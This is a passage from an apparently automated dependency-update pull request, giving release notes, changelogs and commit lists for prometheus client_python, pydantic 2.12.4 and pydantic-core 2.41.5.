href=\"https://github.com/prometheus/client_python/commit/b9e78a3f701fd442f57db23701c2021a529a84c3\"\u003e\u003ccode\u003eb9e78a3\u003c/code\u003e\u003c/a\u003e Release 0.23.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prometheus/client_python/commit/b3fbbca891a6c6d07b83a3680919956a3c3ab523\"\u003e\u003ccode\u003eb3fbbca\u003c/code\u003e\u003c/a\u003e Fix issue parsing double spaces after # HELP/# TYPE (\u003ca href=\"https://redirect.github.com/prometheus/client_python/issues/1134\"\u003e#1134\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prometheus/client_python/commit/47d2b416d75f5569863e2bb08a15b58218563814\"\u003e\u003ccode\u003e47d2b41\u003c/code\u003e\u003c/a\u003e Do not use global when only reading variable (\u003ca href=\"https://redirect.github.com/prometheus/client_python/issues/1133\"\u003e#1133\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prometheus/client_python/commit/4de31eee009a527ba7a5cda76a4aef403df7ab0d\"\u003e\u003ccode\u003e4de31ee\u003c/code\u003e\u003c/a\u003e fix: remove space after comma in openmetrics exposition (\u003ca href=\"https://redirect.github.com/prometheus/client_python/issues/1132\"\u003e#1132\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prometheus/client_python/commit/3586355e648f1d8a058cdb711bc2ce920ce58ca4\"\u003e\u003ccode\u003e3586355\u003c/code\u003e\u003c/a\u003e Emit native histograms only when OM 2.0.0 is requested (\u003ca href=\"https://redirect.github.com/prometheus/client_python/issues/1128\"\u003e#1128\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prometheus/client_python/commit/9e3eb6c7e146d8003d12e24db56f5abfcc0bbef6\"\u003e\u003ccode\u003e9e3eb6c\u003c/code\u003e\u003c/a\u003e Fix bug which caused metric publishing to not accept query string parameters ...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prometheus/client_python/commit/d358f469a7bc2480005775a9be8de30c20c88ab6\"\u003e\u003ccode\u003ed358f46\u003c/code\u003e\u003c/a\u003e Bump flake8 libraries (\u003ca href=\"https://redirect.github.com/prometheus/client_python/issues/1127\"\u003e#1127\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/prometheus/client_python/compare/v0.20.0...v0.23.1\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `pydantic` from 2.11.10 to 2.12.4\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/pydantic/pydantic/releases\"\u003epydantic's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev2.12.4 2025-11-05\u003c/h2\u003e\n\u003ch2\u003ev2.12.4 (2025-11-05)\u003c/h2\u003e\n\u003cp\u003eThis is the fourth 2.12 patch release, fixing more regressions, and reverting a change in the \u003ccode\u003ebuild()\u003c/code\u003e method\nof the \u003ca href=\"https://docs.pydantic.dev/latest/api/networks/\"\u003e\u003ccode\u003eAnyUrl\u003c/code\u003e and Dsn types\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eThis patch release also fixes an issue with the serialization of IP address types, when \u003ccode\u003eserialize_as_any\u003c/code\u003e is used. The next patch release\nwill try to address the remaining issues with \u003cem\u003eserialize as any\u003c/em\u003e behavior by introducing a new \u003cem\u003epolymorphic serialization\u003c/em\u003e feature, that\nshould be used in most cases in place of \u003cem\u003eserialize as any\u003c/em\u003e.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eFix issue with forward references in parent \u003ccode\u003eTypedDict\u003c/code\u003e classes by \u003ca href=\"https://github.com/Viicos\"\u003e\u003ccode\u003e@​Viicos\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic/pull/12427\"\u003e#12427\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eThis issue is only relevant on Python 3.14 and greater.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eExclude fields with \u003ccode\u003eexclude_if\u003c/code\u003e from JSON Schema required fields by \u003ca href=\"https://github.com/Viicos\"\u003e\u003ccode\u003e@​Viicos\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic/pull/12430\"\u003e#12430\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eRevert URL percent-encoding of credentials in the \u003ccode\u003ebuild()\u003c/code\u003e method of the \u003ca href=\"https://docs.pydantic.dev/latest/api/networks/\"\u003e\u003ccode\u003eAnyUrl\u003c/code\u003e and Dsn types\u003c/a\u003e by \u003ca href=\"https://github.com/davidhewitt\"\u003e\u003ccode\u003e@​davidhewitt\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/pull/1833\"\u003epydantic-core#1833\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eThis was initially considered as a bugfix, but caused regressions and as such was fully reverted. The next release will include\nan opt-in option to percent-encode components of the URL.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eAdd type inference for IP address types by \u003ca href=\"https://github.com/davidhewitt\"\u003e\u003ccode\u003e@​davidhewitt\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/pull/1868\"\u003epydantic-core#1868\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eThe 2.12 changes to the \u003ccode\u003eserialize_as_any\u003c/code\u003e behavior made it so that IP address types could not properly serialize to JSON.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eAvoid getting default values from defaultdict by \u003ca href=\"https://github.com/davidhewitt\"\u003e\u003ccode\u003e@​davidhewitt\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/pull/1853\"\u003epydantic-core#1853\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eThis fixes a subtle regression in the validation behavior of the \u003ca href=\"https://docs.python.org/3/library/collections.html#collections.defaultdict\"\u003e\u003ccode\u003ecollections.defaultdict\u003c/code\u003e\u003c/a\u003e\ntype.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eFix issue with field serializers on nested typed dictionaries by \u003ca href=\"https://github.com/davidhewitt\"\u003e\u003ccode\u003e@​davidhewitt\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/pull/1879\"\u003epydantic-core#1879\u003c/a\u003e.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eAdd more \u003ccode\u003epydantic-core\u003c/code\u003e builds for the three-threaded version of Python 3.14 by \u003ca href=\"https://github.com/davidhewitt\"\u003e\u003ccode\u003e@​davidhewitt\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/pull/1864\"\u003epydantic-core#1864\u003c/a\u003e.\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/pydantic/pydantic/compare/v2.12.3...v2.12.4\"\u003ehttps://github.com/pydantic/pydantic/compare/v2.12.3...v2.12.4\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev2.12.3 2025-10-17\u003c/h2\u003e\n\u003ch2\u003ev2.12.3 (2025-10-17)\u003c/h2\u003e\n\u003ch3\u003eWhat's Changed\u003c/h3\u003e\n\u003cp\u003eThis is the third 2.13 patch release, fixing issues related to the \u003ccode\u003eFieldInfo\u003c/code\u003e class, and reverting a change to the supported \u003ca href=\"https://docs.pydantic.dev/latest/concepts/validators/#model-validators\"\u003e\u003cem\u003eafter\u003c/em\u003e model validator\u003c/a\u003e function signatures.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eRaise a warning when an invalid after model validator function signature is raised by \u003ca href=\"https://github.com/Viicos\"\u003e\u003ccode\u003e@​Viicos\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic/pull/12414\"\u003e#12414\u003c/a\u003e.\nStarting in 2.12.0, using class methods for \u003cem\u003eafter\u003c/em\u003e model validators raised an error, but the error wasn't raised concistently. We decided to emit a deprecation warning instead.\u003c/li\u003e\n\u003cli\u003eAdd \u003ca href=\"https://docs.pydantic.dev/latest/api/fields/#pydantic.fields.FieldInfo.asdict\"\u003e\u003ccode\u003eFieldInfo.asdict()\u003c/code\u003e\u003c/a\u003e method, improve documentation around \u003ccode\u003eFieldInfo\u003c/code\u003e by \u003ca href=\"https://github.com/Viicos\"\u003e\u003ccode\u003e@​Viicos\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic/pull/12411\"\u003e#12411\u003c/a\u003e.\nThis also adds back support for mutations on \u003ccode\u003eFieldInfo\u003c/code\u003e classes, that are reused as \u003ccode\u003eAnnotated\u003c/code\u003e metadata. \u003cstrong\u003eHowever\u003c/strong\u003e, note that this is still \u003cem\u003enot\u003c/em\u003e a supported pattern. Instead, please refer to the \u003ca href=\"https://docs.pydantic.dev/latest/examples/dynamic_models/\"\u003eadded example\u003c/a\u003e in the documentation.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eThe \u003ca href=\"https://pydantic.dev/articles/pydantic-v2-12-release#changes\"\u003eblog post\u003c/a\u003e section on changes was also updated to document the changes related to \u003ccode\u003eserialize_as_any\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/pydantic/pydantic/compare/v2.12.2...v2.12.3\"\u003ehttps://github.com/pydantic/pydantic/compare/v2.12.2...v2.12.3\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev2.12.2 2025-10-14\u003c/h2\u003e\n\u003ch2\u003ev2.12.2 (2025-10-14)\u003c/h2\u003e\n\u003ch3\u003eWhat's Changed\u003c/h3\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/pydantic/pydantic/blob/v2.12.4/HISTORY.md\"\u003epydantic's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev2.12.4 (2025-11-05)\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/pydantic/pydantic/releases/tag/v2.12.4\"\u003eGitHub release\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eThis is the fourth 2.12 patch release, fixing more regressions, and reverting a change in the \u003ccode\u003ebuild()\u003c/code\u003e method\nof the \u003ca href=\"https://docs.pydantic.dev/latest/api/networks/\"\u003e\u003ccode\u003eAnyUrl\u003c/code\u003e and Dsn types\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eThis patch release also fixes an issue with the serialization of IP address types, when \u003ccode\u003eserialize_as_any\u003c/code\u003e is used. The next patch release\nwill try to address the remaining issues with \u003cem\u003eserialize as any\u003c/em\u003e behavior by introducing a new \u003cem\u003epolymorphic serialization\u003c/em\u003e feature, that\nshould be used in most cases in place of \u003cem\u003eserialize as any\u003c/em\u003e.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eFix issue with forward references in parent \u003ccode\u003eTypedDict\u003c/code\u003e classes by \u003ca href=\"https://github.com/Viicos\"\u003e\u003ccode\u003e@​Viicos\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic/pull/12427\"\u003e#12427\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eThis issue is only relevant on Python 3.14 and greater.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eExclude fields with \u003ccode\u003eexclude_if\u003c/code\u003e from JSON Schema required fields by \u003ca href=\"https://github.com/Viicos\"\u003e\u003ccode\u003e@​Viicos\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic/pull/12430\"\u003e#12430\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eRevert URL percent-encoding of credentials in the \u003ccode\u003ebuild()\u003c/code\u003e method\nof the \u003ca href=\"https://docs.pydantic.dev/latest/api/networks/\"\u003e\u003ccode\u003eAnyUrl\u003c/code\u003e and Dsn types\u003c/a\u003e by \u003ca href=\"https://github.com/davidhewitt\"\u003e\u003ccode\u003e@​davidhewitt\u003c/code\u003e\u003c/a\u003e in\n\u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/pull/1833\"\u003epydantic-core#1833\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eThis was initially considered as a bugfix, but caused regressions and as such was fully reverted. The next release will include\nan opt-in option to percent-encode components of the URL.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eAdd type inference for IP address types by \u003ca href=\"https://github.com/davidhewitt\"\u003e\u003ccode\u003e@​davidhewitt\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/pull/1868\"\u003epydantic-core#1868\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eThe 2.12 changes to the \u003ccode\u003eserialize_as_any\u003c/code\u003e behavior made it so that IP address types could not properly serialize to JSON.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eAvoid getting default values from defaultdict by \u003ca href=\"https://github.com/davidhewitt\"\u003e\u003ccode\u003e@​davidhewitt\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/pull/1853\"\u003epydantic-core#1853\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eThis fixes a subtle regression in the validation behavior of the \u003ca href=\"https://docs.python.org/3/library/collections.html#collections.defaultdict\"\u003e\u003ccode\u003ecollections.defaultdict\u003c/code\u003e\u003c/a\u003e\ntype.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eFix issue with field serializers on nested typed dictionaries by \u003ca href=\"https://github.com/davidhewitt\"\u003e\u003ccode\u003e@​davidhewitt\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/pull/1879\"\u003epydantic-core#1879\u003c/a\u003e.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eAdd more \u003ccode\u003epydantic-core\u003c/code\u003e builds for the three-threaded version of Python 3.14 by \u003ca href=\"https://github.com/davidhewitt\"\u003e\u003ccode\u003e@​davidhewitt\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/pull/1864\"\u003epydantic-core#1864\u003c/a\u003e.\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev2.12.3 (2025-10-17)\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/pydantic/pydantic/releases/tag/v2.12.3\"\u003eGitHub release\u003c/a\u003e\u003c/p\u003e\n\u003ch3\u003eWhat's Changed\u003c/h3\u003e\n\u003cp\u003eThis is the third 2.12 patch release, fixing issues related to the \u003ccode\u003eFieldInfo\u003c/code\u003e class, and reverting a change to the supported\n\u003ca href=\"https://docs.pydantic.dev/latest/concepts/validators/#model-validators\"\u003e\u003cem\u003eafter\u003c/em\u003e model validator\u003c/a\u003e function signatures.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eRaise a warning when an invalid after model validator function signature is raised by \u003ca href=\"https://github.com/Viicos\"\u003e\u003ccode\u003e@​Viicos\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic/pull/12414\"\u003e#12414\u003c/a\u003e.\nStarting in 2.12.0, using class methods for \u003cem\u003eafter\u003c/em\u003e model validators raised an error, but the error wasn't raised concistently. We decided\nto emit a deprecation warning instead.\u003c/li\u003e\n\u003cli\u003eAdd \u003ca href=\"https://docs.pydantic.dev/latest/api/fields/#pydantic.fields.FieldInfo.asdict\"\u003e\u003ccode\u003eFieldInfo.asdict()\u003c/code\u003e\u003c/a\u003e method, improve documentation around \u003ccode\u003eFieldInfo\u003c/code\u003e by \u003ca href=\"https://github.com/Viicos\"\u003e\u003ccode\u003e@​Viicos\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic/pull/12411\"\u003e#12411\u003c/a\u003e.\nThis also add back support for mutations on \u003ccode\u003eFieldInfo\u003c/code\u003e classes, that are reused as \u003ccode\u003eAnnotated\u003c/code\u003e metadata. \u003cstrong\u003eHowever\u003c/strong\u003e, note that this is still\n\u003cem\u003enot\u003c/em\u003e a supported pattern. Instead, please refer to the \u003ca href=\"https://docs.pydantic.dev/latest/examples/dynamic_models/\"\u003eadded example\u003c/a\u003e in the documentation.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eThe \u003ca href=\"https://pydantic.dev/articles/pydantic-v2-12-release#changes\"\u003eblog post\u003c/a\u003e section on changes was also updated to document the changes related to \u003ccode\u003eserialize_as_any\u003c/code\u003e.\u003c/p\u003e\n\u003ch2\u003ev2.12.2 (2025-10-14)\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pydantic/pydantic/commit/5c842dfc9c245fb37aa1f5ec5b55c1aed10bd7e6\"\u003e\u003ccode\u003e5c842df\u003c/code\u003e\u003c/a\u003e Prepare release v2.12.4\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pydantic/pydantic/commit/c678a710e8b8bb2ff4dce6233c6d5c88dc579136\"\u003e\u003ccode\u003ec678a71\u003c/code\u003e\u003c/a\u003e Bump \u003ccode\u003epydantic-core\u003c/code\u003e to v2.41.5\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pydantic/pydantic/commit/a7cd29254b2611c5768beb86e7ffd2c1c130a19a\"\u003e\u003ccode\u003ea7cd292\u003c/code\u003e\u003c/a\u003e Bump \u003ccode\u003ecloudpickle\u003c/code\u003e to v3.1.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pydantic/pydantic/commit/21f627801b5eedfa87bed55925f73cf329cc9c2c\"\u003e\u003ccode\u003e21f6278\u003c/code\u003e\u003c/a\u003e Bump actions/setup-node from 5 to 6\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pydantic/pydantic/commit/8d6be8fea9662203977b95758d97ec298edcd54a\"\u003e\u003ccode\u003e8d6be8f\u003c/code\u003e\u003c/a\u003e Bump astral-sh/setup-uv from 6 to 7\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pydantic/pydantic/commit/17865ea3a1fd389ba697990b762f82a419a48221\"\u003e\u003ccode\u003e17865ea\u003c/code\u003e\u003c/a\u003e Bump actions/upload-artifact from 4 to 5\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pydantic/pydantic/commit/90ad0af6b9340f72dde77997ed18fc180771e69f\"\u003e\u003ccode\u003e90ad0af\u003c/code\u003e\u003c/a\u003e Bump actions/download-artifact from 5 to 6\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pydantic/pydantic/commit/18e6672b6fdeaeb75ccbbcb3c7883509b1f56cb3\"\u003e\u003ccode\u003e18e6672\u003c/code\u003e\u003c/a\u003e Drop testing under PyPy 3.9\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pydantic/pydantic/commit/650215be2d2336a72af481b724b368fed356d7e8\"\u003e\u003ccode\u003e650215b\u003c/code\u003e\u003c/a\u003e Document workaround for \u003ccode\u003eMongoDsn\u003c/code\u003e default port\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pydantic/pydantic/commit/e3267902272d8290ed6d1ae06f43052b2968ef14\"\u003e\u003ccode\u003ee326790\u003c/code\u003e\u003c/a\u003e Fix example of for \u003ccode\u003ebytes_invalid_encoding\u003c/code\u003e validation error\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/pydantic/pydantic/compare/v2.11.10...v2.12.4\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `pydantic-core` from 2.33.2 to 2.41.5\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/pydantic/pydantic-core/releases\"\u003epydantic-core's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev2.41.5\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eCorrect invalid serialization of \u003ccode\u003edate\u003c/code\u003e/\u003ccode\u003edatetime\u003c/code\u003e/\u003ccode\u003etime\u003c/code\u003e/\u003ccode\u003etimedelta\u003c/code\u003e by pulling downcast checks up by \u003ca href=\"https://github.com/astei\"\u003e\u003ccode\u003e@​astei\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/pull/1851\"\u003epydantic/pydantic-core#1851\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eavoid getting default values from defaultdict by \u003ca href=\"https://github.com/davidhewitt\"\u003e\u003ccode\u003e@​davidhewitt\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/pull/1853\"\u003epydantic/pydantic-core#1853\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: add more 3.14t builds, delete duplicate linux aarch64 build by \u003ca href=\"https://github.com/davidhewitt\"\u003e\u003ccode\u003e@​davidhewitt\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/pull/1864\"\u003epydantic/pydantic-core#1864\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eJsonValue\u003c/code\u003e: Deduplicate keys before populating Dict by \u003ca href=\"https://github.com/friendlymatthew\"\u003e\u003ccode\u003e@​friendlymatthew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/pull/1865\"\u003epydantic/pydantic-core#1865\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: only percent-encode characters in the userinfo encode set by \u003ca href=\"https://github.com/davidhewitt\"\u003e\u003ccode\u003e@​davidhewitt\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/pull/1852\"\u003epydantic/pydantic-core#1852\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eBump jiter from 0.11.0 to 0.11.1 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/pull/1878\"\u003epydantic/pydantic-core#1878\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eBump regex from 1.11.3 to 1.12.2 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/pull/1877\"\u003epydantic/pydantic-core#1877\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eBump percent-encoding from 2.3.1 to 2.3.2 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/pull/1876\"\u003epydantic/pydantic-core#1876\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix issue with field_serializers on nested typed dicts by \u003ca href=\"https://github.com/davidhewitt\"\u003e\u003ccode\u003e@​davidhewitt\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/pull/1879\"\u003epydantic/pydantic-core#1879\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eclean up GC traversal for some top-level types by \u003ca href=\"https://github.com/davidhewitt\"\u003e\u003ccode\u003e@​davidhewitt\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/pull/1870\"\u003epydantic/pydantic-core#1870\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eadd type inference for serializing ip address types by \u003ca href=\"https://github.com/davidhewitt\"\u003e\u003ccode\u003e@​davidhewitt\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/pull/1868\"\u003epydantic/pydantic-core#1868\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003erevert url credential encoding (to be reintroduced as an option in future) by \u003ca href=\"https://github.com/davidhewitt\"\u003e\u003ccode\u003e@​davidhewitt\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/pull/1882\"\u003epydantic/pydantic-core#1882\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eoptimizations in URL implementation by \u003ca href=\"https://github.com/davidhewitt\"\u003e\u003ccode\u003e@​davidhewitt\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/pull/1833\"\u003epydantic/pydantic-core#1833\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/friendlymatthew\"\u003e\u003ccode\u003e@​friendlymatthew\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/pull/1865\"\u003epydantic/pydantic-core#1865\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/pydantic/pydantic-core/compare/v2.41.4...v2.41.5\"\u003ehttps://github.com/pydantic/pydantic-core/compare/v2.41.4...v2.41.5\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev2.41.4\u003c/h2\u003e\n\u003cp\u003eNo release notes provided.\u003c/p\u003e\n\u003ch2\u003ev2.41.3\u003c/h2\u003e\n\u003cp\u003eNo release notes provided.\u003c/p\u003e\n\u003ch2\u003ev2.41.2 2025-10-13\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003ePopulate field name for validation of default value by \u003ca href=\"https://github.com/Viicos\"\u003e\u003ccode\u003e@​Viicos\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/pull/1826\"\u003epydantic/pydantic-core#1826\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ebuild PyPy manylinux wheels for x86_64 by \u003ca href=\"https://github.com/davidhewitt\"\u003e\u003ccode\u003e@​davidhewitt\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/pull/1831\"\u003epydantic/pydantic-core#1831\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: encode credentials in MultiHostUrl builder by \u003ca href=\"https://github.com/willswire\"\u003e\u003ccode\u003e@​willswire\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/pull/1829\"\u003epydantic/pydantic-core#1829\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ePopulate \u003ccode\u003efield_name\u003c/code\u003e in \u003ccode\u003eInternalValidator\u003c/code\u003e by \u003ca href=\"https://github.com/Viicos\"\u003e\u003ccode\u003e@​Viicos\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/pull/1834\"\u003epydantic/pydantic-core#1834\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003erespect \u003ccode\u003efield_serializer\u003c/code\u003e when using \u003ccode\u003eserialize_as_any=True\u003c/code\u003e by \u003ca href=\"https://github.com/davidhewitt\"\u003e\u003ccode\u003e@​davidhewitt\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/pull/1835\"\u003epydantic/pydantic-core#1835\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: PGO-optimize linux aarch64, restore builds for windows aarch64 by \u003ca href=\"https://github.com/davidhewitt\"\u003e\u003ccode\u003e@​davidhewitt\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/pull/1837\"\u003epydantic/pydantic-core#1837\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix various \u003ccode\u003eRootModel\u003c/code\u003e serialization issues by \u003ca 